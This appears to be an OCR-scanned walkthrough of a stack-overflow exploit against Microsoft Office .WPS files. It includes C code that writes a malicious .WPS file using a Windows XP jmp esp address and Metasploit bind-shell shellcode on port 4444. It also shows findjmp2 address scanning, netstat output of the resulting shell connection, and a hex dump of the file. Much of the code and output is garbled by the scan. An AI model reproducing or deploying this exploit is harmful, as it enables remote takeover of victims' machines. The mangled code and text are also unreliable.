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#include <stdio.h>

#include <windows.h>

unsigned char uszZWpsHeader([] = /* WPS Header */
"Wxd Otxcfittx1 1WxeOttxa 1 Wxb1Wx1atxe1Wx00Wx00Wx00¥x 00 x00Wx00%x00%x 00"
(BE...

"Wx00#x00¥x00Wx00Wx00¥x00WX00Wx00# x00¥x00WXx00Wx00#x00¥x00";

unsigned char uszShellcodel] = /* Shellcode - metasploit bind 4444 */
"Wx90Wx 90X 90X 90X 901X I0WX I 0W X Q0 X 90X IOWX O 0W X0 X IOWXI0W X 90X 90"
L(EBER.L.

"Wx91WxadWx93Wx40Wx12Wx5bWx45Wxbf";

TARGET targets[] = {
{ "Windows XP SP2 de ntdlIl.dll", "#xEDWx1EWx94Wx7C" }, /* jmp esp */

int main( int argc, char **argv ) {
char szBuffer[1024*10];
FILE *f;

void *pExitProcess[4];

- (BE)...

memeset(szBuffer, 0x90, 1024*10);

printf("[+] Creating WPS header..#n");

memcpy( szBuffer, uszWpsHeader, sizeof( uszWpsHeader ) - 1);

printf("[+] Copying addr && nops && shellcode...#n");

memcpy( szBuffer + sizeof( uszWpsHeader ) - 1, targets[atoi( argv[1] + 1 )].uszRet, 4 );

memcpy( szBuffer + sizeof( uszWpsHeader ) + 3, uszShellcode, sizeof( uszShellcode ) -
1)

f = fopen( argv[2], "wb" );



if (f==NULL) {
printf("[-] Cannot create file¥#n");

return O;

fwrite( szBuffer, 1, sizeof( szBuffer) , f);
fclose( f);

printf("[+] .WPS file succesfully created!¥#n");
return O;

}
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C:WDocuments and SettingsWfreeman>"C#Documents and Settings#freemanWHt} &t o} HWF
indjmp2.exe" ntdll.dll esp

Findjmp, Eeye, 12S-LaB
Findjmp2, Hat-Squad

Scanning ntdll.dll for code useable with the esp register

0x7C944393 call esp
- (SEh...

0x7C971EED jmp esp

0x7C988DB3 call esp
- (SED...

Finished Scanning ntdll.dll for code useable with the esp register

Found 13 usable addresses
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C:W.. Wfreeman>"CW.. #freemanWH & 2} Hitexploit.exe"

Microsoft Office .WPS Stack Overflow
Adam Walker (c) 2007
[+] Targets:
(1) Windows XP SP2 ntdll.dll de

Usage: wps.exe <target> <file>
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C:W. Wfreeman>"CW.. #freemanWH & 3} Hitexploit.exe" 1 evil_bind.wps
[+] Creating WPS header...

[+] Copying addr && nops && shellcode...

[+] .WPS file succesfully created!
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C:WDocuments and SettingsW#freeman>netstat -an



Active Connections

Proto Local Address Foreign Address State

TCP  0.0.0.0:135 0.0.0.0:.0 LISTENING
TCP  0.0.0.0:445 0.0.0.0:.0 LISTENING
TCP  0.0.0.0:4444 0.0.0.0:0 LISTENING
TCP 127.0.0.1:1029 0.0.0.0:0 LISTENING
(BEh...

ubP 192.168.135.147:138 o
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C:WDocuments and Settings#freeman>netstat -an

Active Connections

Proto Local Address Foreign Address State

TCP  0.0.0.0:135 0.0.0.0:0 LISTENING

TCP  0.0.0.0:445 0.0.0.0:0 LISTENING

TCP 192.168.135.147:4444  192.168.135.132:3922  ESTABLISHED
(BE...

UDP 192.168.135.147:138 x
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0000810: 0002 0000 000a 0000 f801 0eQO ffff ffff ...
0000820: 1800 5445 5854 0000 2f00 0000 0000 0000 ..TEXT..........
0000830: 0000 0000 0000 0000 0000 0000 0000 edle ...
0000840: 977c 9090 9090 9090 9090 9090 9090 9090 |.............
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